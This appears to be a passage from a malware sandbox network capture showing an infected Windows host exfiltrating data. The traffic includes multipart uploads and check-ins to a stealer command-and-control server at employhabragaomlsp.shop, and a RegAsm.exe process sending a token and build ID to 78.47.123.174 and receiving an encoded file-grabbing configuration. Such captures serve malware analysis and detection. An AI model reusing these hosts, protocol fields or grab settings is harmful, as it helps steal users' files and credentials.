2024-05-24 07:43:09 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r2p1l2e54eqjusjjnsbndgbtmd; expires=Tue, 17-Sep-2024 01:29:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Bu2kMOah1AAFuST6iOArNQ7a2JyAtB8qEJgOztCekEpFXqZB8AgbilWyqFuPxHptqaTKGg6XxFFVwa%2B13Su65rZzUHs57VmQrSz6zOyKIA5GxCqcwQv5%2FaXZSC3B1GzDEc3wI%2FRZadC7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba73278394393-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:09 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49935	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:09 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:09 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:09 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nb6a3vhe8o6mmbb8vbj5btndg9; expires=Tue, 17-Sep-2024 01:29:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LffsGoqf%2FvxPqNXq5W33JiFlmpwdXwkQrlib%2FW6aa4w19XV2o6nMa50jzE2EiS13Pg5PasoLX2TQosp62%2Fo%2BQUrpCY65H6Kl6rsix5MelRDTCZaYG%2FelPt35eqkBCoL1A8JsKuktlEbcNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba732aa7f7cac-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49940	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:10 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:10 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:10 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1jkvmtjhor3598f75ta8nn6ui; expires=Tue, 17-Sep-2024 01:29:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r6sRQjP3TJHahom4aSRgVAnT3KTHKj0JIfEUSlx%2FxedPEJKs5T2QESpNlWz9ZMNeHVAw8fMKD2oTTjQW9UoG0OuvDGqOz0AQhN%2BduOMtfFTXTigBqp3DJofxZ8YTexxrA3f1Z88pnAWO1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba738292fc337-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:10 UTC	559	IN	Data Raw: 33 64 62 34 0d 0a 34 74 75 75 48 2f 68 55 4f 6b 6b 42 56 4e 70 4c 45 6a 52 72 57 6e 5a 33 58 70 68 49 69 52 72 4e 66 71 45 46 4b 2b 6c 72 44 78 53 5a 30 61 63 39 6a 6e 59 41 61 54 56 34 30 45 49 77 52 77 35 34 54 46 63 71 36 6a 33 73 4e 73 64 33 67 32 52 50 79 31 45 76 63 6f 4f 33 33 58 72 55 58 6a 4e 72 62 43 7a 34 63 54 4a 76 59 56 4d 4e 66 56 65 52 61 75 78 30 37 30 53 42 4a 31 79 4d 43 57 70 73 6c 72 37 41 62 4a 45 37 56 41 6c 73 4d 61 34 71 66 31 55 59 4d 56 67 65 4d 62 70 6b 67 78 50 45 58 4d 52 2f 43 64 4e 4c 4c 56 6d 48 72 38 39 53 6d 53 64 52 61 79 31 65 30 30 49 77 55 52 39 34 54 46 64 38 78 47 72 35 65 37 38 66 7a 48 5a 33 79 31 46 30 53 4d 43 79 32 6e 71 4b 4e 55 34 67 62 6a 71 70 46 7a 41 4f 58 57 70 47 52 32 36 6f 4e 61 73 51 78 41 4f 72 44 Data Ascii: 3db44tuuH/hUOkkBVNpLEjRrWnZ3XphIiRrNfqEFK+lrDxSZ0ac9jnYAaTV40EIwRw54TFcq6j3sNsd3g2RPy1EvcoO33XrUXjNrbCz4cTJvYVMNfVeRaux070SBJ1yMCWpslr7AbJE7VAlsMa4qf1UYMVgeMbpkgxPEXMR/CdNLLVmHr89SmSdRay1e00IwUR94TFd8xGr5e78fzHZ3y1F0SMCy2nqKNU4gbjqpFzAOXWpGR26oNasQxAOrD
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 58 47 4d 2b 5a 51 2f 32 6a 42 57 4b 6d 34 32 71 69 46 37 58 51 77 71 48 78 77 78 39 79 72 6d 63 71 41 66 77 32 42 44 67 51 5a 6e 63 6f 32 30 79 6e 32 61 64 68 5a 44 43 46 33 34 4c 6d 67 57 55 58 70 55 4e 6a 6e 71 4c 65 64 75 37 53 61 44 44 79 4b 55 52 77 59 30 77 74 47 6e 5a 50 4a 64 4d 32 74 6b 4f 76 68 78 4d 68 59 42 50 52 63 57 4e 2f 55 70 34 33 4f 39 48 4e 46 68 52 49 34 62 61 33 4f 4f 73 38 39 76 6b 44 68 65 4b 47 6f 39 73 53 78 33 55 6b 6c 32 66 48 35 58 75 69 33 7a 4f 50 64 65 67 30 5a 45 67 41 56 6e 59 59 44 35 70 42 61 46 65 44 42 41 65 6c 37 54 51 6a 42 52 42 58 68 4d 56 33 7a 2b 4b 2b 39 35 71 78 4c 4e 59 30 57 4e 42 32 42 35 68 72 50 4d 65 70 41 2b 55 43 70 75 50 62 63 70 64 56 73 4e 50 68 67 55 4f 62 70 6b 67 78 50 45 58 4d 52 2f 43 64 4e 4c Data Ascii: XGM+ZQ/2jBWKm42qiF7XQwqHxwx9yrmcqAfw2BDgQZnco20yn2adhZDCF34LmgWUXpUNjnqLedu7SaDDyKURwY0wtGnZPJdM2tkOvhxMhYBPRcWN/Up43O9HNFhRI4ba3OOs89vkDheKGo9sSx3Ukl2fH5Xui3zOPdeg0ZEgAVnYYD5pBaFeDBAel7TQjBRBXhMV3z+K+95qxLNY0WNB2B5hrPMepA+UCpuPbcpdVsNPhgUObpkgxPEXMR/CdNL
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 76 47 63 5a 73 6b 58 79 4a 71 50 4c 6b 6e 66 31 30 46 50 51 59 65 4d 2f 49 6c 36 6e 57 69 46 38 64 6e 43 63 56 68 42 68 33 41 76 74 51 39 77 6e 51 59 43 6d 34 35 71 69 70 68 46 44 77 37 47 68 73 37 37 47 71 44 45 37 42 53 71 77 78 51 34 32 49 47 4e 6f 65 31 6a 43 58 59 64 6c 6b 6e 62 7a 65 33 4c 33 70 65 43 6a 6b 47 48 44 50 79 4a 65 4a 35 72 42 6a 43 62 56 75 5a 43 57 46 6b 6a 4c 50 4b 63 70 63 36 47 47 55 4c 58 64 4e 70 64 30 35 4a 59 46 5a 56 46 76 6b 2b 36 48 4c 74 4b 63 42 70 52 34 77 66 4c 52 37 72 70 6f 49 56 38 53 38 77 51 41 68 32 76 79 55 77 44 6b 74 34 47 52 51 30 2f 44 6a 6b 64 61 77 53 7a 57 68 4d 68 41 46 74 64 6f 32 38 79 48 61 52 4e 56 55 76 63 54 79 34 49 58 56 58 41 7a 4a 55 57 31 53 52 51 61 74 2f 74 31 79 62 4a 51 6d 36 48 6d 59 30 74 Data Ascii: vGcZskXyJqPLknf10FPQYeM/Il6nWiF8dnCcVhBh3AvtQ9wnQYCm45qiphFDw7Ghs77GqDE7BSqwxQ42IGNoe1jCXYdlknbze3L3peCjkGHDPyJeJ5rBjCbVuZCWFkjLPKcpc6GGULXdNpd05JYFZVFvk+6HLtKcBpR4wfLR7rpoIV8S8wQAh2vyUwDkt4GRQ0/DjkdawSzWhMhAFtdo28yHaRNVUvcTy4IXVXAzJUW1SRQat/t1ybJQm6HmY0t
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 66 4f 56 34 75 62 6a 47 7a 4b 6d 4a 45 43 6a 77 61 47 58 79 30 51 6f 41 54 37 78 76 62 4a 78 48 4a 53 55 68 68 67 36 6e 4b 66 74 70 65 4d 7a 51 74 58 74 4d 77 47 44 31 69 65 42 4d 5a 66 4b 4a 6f 71 33 69 68 45 4d 68 67 51 6f 41 4e 61 58 61 4e 73 73 4a 7a 6b 7a 70 51 4a 32 51 6b 74 53 78 34 58 41 41 39 47 42 67 2f 36 43 6e 71 4f 4f 46 30 71 41 77 4a 6a 42 45 74 4c 73 4c 35 36 30 36 74 46 52 68 44 43 43 6e 32 51 52 74 50 59 56 4e 2f 56 54 76 32 61 72 4d 36 37 78 33 4c 59 45 65 50 47 32 4e 6b 6a 72 37 4d 65 35 49 2b 58 79 64 74 4f 4b 6f 68 63 56 59 48 4e 78 77 63 4f 50 73 75 37 33 53 6f 58 49 30 50 49 75 42 4a 61 6d 37 41 34 59 34 39 73 6a 56 43 4d 53 45 59 73 79 6c 33 52 68 38 6a 56 48 31 58 35 57 53 44 45 37 5a 30 71 41 77 4a 6a 41 55 74 4c 73 4c 35 79 48 Data Ascii: fOV4ubjGzKmJECjwaGXy0QoAT7xvbJxHJSUhhg6nKftpeMzQtXtMwGD1ieBMZfKJoq3ihEMhgQoANaXaNssJzkzpQJ2QktSx4XAA9GBg/6CnqOOF0qAwJjBEtLsL5606tFRhDCCn2QRtPYVN/VTv2arM67x3LYEePG2Nkjr7Me5I+XydtOKohcVYHNxwcOPsu73SoXI0PIuBJam7A4Y49sjVCMSEYsyl3Rh8jVH1X5WSDE7Z0qAwJjAUtLsL5yH
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 49 47 67 31 73 69 42 7a 57 67 38 35 47 68 55 79 2b 6d 71 6c 45 4d 52 33 67 32 42 52 79 31 45 76 4e 71 43 79 32 6d 69 5a 4a 6c 34 73 62 33 62 51 51 6d 38 59 59 56 4d 4e 66 56 65 52 61 75 78 30 37 30 53 42 4a 30 65 5a 44 57 78 32 69 4c 44 41 64 70 49 6b 58 79 78 6f 4f 4c 59 69 64 46 6f 41 4d 78 30 51 4d 50 73 68 34 6e 32 72 46 73 56 71 43 63 56 68 42 68 33 41 76 74 51 39 77 6e 51 59 42 32 41 35 73 32 6b 59 50 52 5a 32 66 48 34 6c 6b 6b 47 41 4f 4b 67 51 67 7a 38 4c 79 77 35 6c 66 6f 36 36 79 6e 61 57 4f 6c 6b 69 5a 54 4f 77 4c 6e 39 52 41 44 38 55 45 79 37 39 4a 2b 4a 34 70 42 58 4a 59 30 69 41 53 53 4d 65 36 39 4b 4d 65 6f 4a 32 41 47 6b 6a 42 4c 38 2f 59 46 56 4a 55 48 38 4b 63 70 46 43 67 47 48 48 64 36 67 6e 54 6f 64 4a 4e 54 54 41 74 4e 35 38 6e 79 52 Data Ascii: IGg1siBzWg85GhUy+mqlEMR3g2BRy1EvNqCy2miZJl4sb3bQQm8YYVMNfVeRaux070SBJ0eZDWx2iLDAdpIkXyxoOLYidFoAMx0QMPsh4n2rFsVqCcVhBh3AvtQ9wnQYB2A5s2kYPRZ2fH4lkkGAOKgQgz8Lyw5lfo66ynaWOlkiZTOwLn9RAD8UEy79J+J4pBXJY0iASSMe69KMeoJ2AGkjBL8/YFVJUH8KcpFCgGHHd6gnTodJNTTAtN58nyR
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 72 6b 6c 66 31 55 47 4f 78 63 55 4e 75 67 34 35 33 47 6e 47 63 39 73 52 34 30 62 61 33 6d 4a 75 73 39 30 6e 54 35 55 49 57 41 78 2b 47 63 59 50 57 4a 34 45 77 31 38 6f 6d 69 72 57 37 67 4d 7a 69 63 68 34 42 59 6a 48 75 75 67 70 42 62 78 64 6c 38 6e 49 32 37 36 61 58 68 62 41 54 49 51 45 6a 48 39 4c 4f 4a 71 70 68 6e 4e 5a 30 32 41 42 6d 74 79 67 37 6e 65 65 35 34 2b 57 79 5a 75 4f 4c 73 74 4d 42 68 68 55 33 39 56 4f 2b 4a 71 73 7a 72 76 4c 73 35 70 55 6f 51 4f 66 48 7a 41 30 61 64 69 31 46 34 7a 4d 67 74 64 30 32 6c 33 57 6b 6c 67 56 6c 55 34 39 44 6a 67 65 61 51 58 7a 57 42 47 6a 67 4e 74 65 59 53 36 77 6e 61 62 4e 56 41 6d 62 6a 69 79 49 48 6c 52 42 54 77 54 56 58 4b 53 51 59 41 34 71 41 53 44 50 77 76 4c 49 6b 78 62 72 4c 37 57 50 66 4a 64 52 32 55 4c Data Ascii: rklf1UGOxcUNug453GnGc9sR40ba3mJus90nT5UIWAx+GcYPWJ4Ew18omirW7gMzich4BYjHuugpBbxdl8nI276aXhbATIQEjH9LOJqphnNZ02ABmtyg7nee54+WyZuOLstMBhhU39VO+JqszrvLs5pUoQOfHzA0adi1F4zMgtd02l3WklgVlU49DjgeaQXzWBGjgNteYS6wnabNVAmbjiyIHlRBTwTVXKSQYA4qASDPwvLIkxbrL7WPfJdR2UL
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 74 58 43 69 34 5a 42 58 79 53 51 66 51 32 78 33 66 61 44 79 4c 67 53 57 70 36 77 4f 47 4f 50 5a 77 2f 58 69 78 6c 4f 4b 6f 73 64 6c 6b 47 4d 52 30 52 4e 50 6b 71 37 33 79 6f 47 63 42 72 51 6f 77 4b 59 6e 4b 4a 74 38 56 79 32 6e 67 77 51 41 68 32 76 7a 45 77 44 6b 74 34 4e 51 34 2f 39 69 65 72 45 4d 51 44 6a 51 38 69 6b 6d 45 47 48 63 43 2b 77 44 33 43 64 42 67 6e 62 54 4f 34 49 33 5a 53 44 44 34 65 45 44 7a 78 4b 65 52 38 71 52 6a 4d 5a 30 4b 43 43 47 74 7a 69 72 4c 4b 63 4a 6b 77 58 6d 73 74 58 74 4e 43 4d 46 45 52 65 45 78 58 66 4e 6f 78 35 6e 53 6f 58 4b 73 4d 56 73 56 68 42 6d 2f 6f 30 71 63 39 6e 54 6f 59 63 79 46 32 73 79 56 30 55 51 6b 31 46 78 30 35 2f 69 44 75 65 4b 63 4f 79 32 64 4f 6d 52 74 74 66 34 57 31 7a 33 32 65 4d 46 45 74 59 44 4c 34 5a Data Ascii: tXCi4ZBXySQfQ2x3faDyLgSWp6wOGOPZw/XixlOKosdlkGMR0RNPkq73yoGcBrQowKYnKJt8Vy2ngwQAh2vzEwDkt4NQ4/9ierEMQDjQ8ikmEGHcC+wD3CdBgnbTO4I3ZSDD4eEDzxKeR8qRjMZ0KCCGtzirLKcJkwXmstXtNCMFEReExXfNox5nSoXKsMVsVhBm/o0qc9nToYcyF2syV0UQk1Fx05/iDueKcOy2dOmRttf4W1z32eMFEtYDL4Z
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 54 56 41 31 38 6f 6d 69 72 54 61 77 53 7a 57 42 66 6d 6b 52 4b 65 49 65 34 32 6d 32 4e 4f 52 68 6c 43 31 33 54 61 58 59 57 55 58 70 48 57 31 53 52 51 61 74 38 76 6c 79 62 4a 52 6e 5a 55 6a 67 6c 31 2b 6d 65 46 66 45 70 46 6b 4d 49 4c 39 42 43 47 78 59 66 65 45 78 58 62 72 52 43 67 42 50 76 44 6f 4d 2f 43 38 74 4f 62 6d 53 53 76 38 39 72 6d 58 46 6d 46 55 51 67 73 69 35 67 55 52 34 33 56 46 74 55 6b 55 47 72 64 2b 39 45 67 56 34 68 34 47 49 47 4e 6f 6d 2b 31 32 79 4d 4f 30 67 73 49 31 37 54 51 6b 38 59 59 56 4e 2f 56 53 53 36 63 71 6b 34 6d 68 2f 4e 61 55 36 64 47 43 42 52 6c 72 50 4c 62 5a 30 68 56 32 73 74 58 74 4e 43 4d 46 42 4a 59 46 5a 47 63 70 4a 42 67 44 69 72 44 59 4d 2f 43 39 74 62 4e 69 50 54 37 70 77 76 38 6c 31 48 5a 51 74 64 6f 55 45 62 50 55 Data Ascii: TVA18omirTawSzWBfmkRKeIe42m2NORhlC13TaXYWUXpHW1SRQat8vlybJRnZUjgl1+meFfEpFkMIL9BCGxYfeExXbrRCgBPvDoM/C8tObmSSv89rmXFmFUQgsi5gUR43VFtUkUGrd+9EgV4h4GIGNom+12yMO0gsI17TQk8YYVN/VSS6cqk4mh/NaU6dGCBRlrPLbZ0hV2stXtNCMFBJYFZGcpJBgDirDYM/C9tbNiPT7pwv8l1HZQtdoUEbPU
2024-05-24 07:43:10 UTC	1369	IN	Data Raw: 5a 4c 67 54 71 33 75 39 44 6f 78 32 58 34 59 5a 61 6a 71 49 71 4d 46 78 32 6e 67 61 61 79 38 79 73 79 56 31 55 52 6c 33 42 67 55 33 39 6a 79 6e 66 4c 31 63 6a 53 55 4a 6d 67 4a 69 5a 49 36 2b 67 32 79 4d 4f 30 67 6f 5a 6a 48 30 49 57 46 62 42 58 68 61 56 33 7a 76 49 65 64 2b 6f 67 6d 4d 64 6c 2b 49 48 32 6f 36 69 4b 6a 42 63 64 6f 4a 46 6b 4d 49 58 66 67 78 4d 41 35 4c 65 43 45 57 4d 76 51 74 2f 57 6e 69 50 4d 68 72 53 6f 63 49 61 6a 62 4f 30 61 63 57 32 6a 41 59 63 79 46 6c 39 6b 45 62 50 55 6b 38 42 56 56 6b 75 48 71 35 49 2f 70 50 6c 44 63 62 34 32 4a 79 4f 4f 6a 53 31 52 58 78 58 52 67 39 49 32 37 36 65 7a 34 2b 59 6c 4e 55 42 33 79 69 61 4b 73 2f 72 41 37 52 59 55 71 64 43 69 70 49 76 72 6a 42 63 74 59 34 55 79 74 6b 4a 71 34 79 50 46 34 4b 49 67 34 Data Ascii: ZLgTq3u9Dox2X4YZajqIqMFx2ngaay8ysyV1URl3BgU39jynfL1cjSUJmgJiZI6+g2yMO0goZjH0IWFbBXhaV3zvIed+ogmMdl+IH2o6iKjBcdoJFkMIXfgxMA5LeCEWMvQt/WniPMhrSocIajbO0acW2jAYcyFl9kEbPUk8BVVkuHq5I/pPlDcb42JyOOjS1RXxXRg9I276ez4+YlNUB3yiaKs/rA7RYUqdCipIvrjBctY4UytkJq4yPF4KIg4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49941	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:10 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:10 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------KJEHCGDBFCBAKECBKKEBCont
2024-05-24 07:43:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:10 UTC	131	IN	Data Raw: 37 38 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 66 44 55 77 66 47 5a 68 62 48 4e 6c 66 43 70 33 61 57 35 6b 62 33 64 7a 4b 6e 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 78RGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp8ZGVza3RvcHwlREVTS1RPUCVcfCoudHh0fDUwfGZhbHNlfCp3aW5kb3dzKnw=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49942	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:10 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:10 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
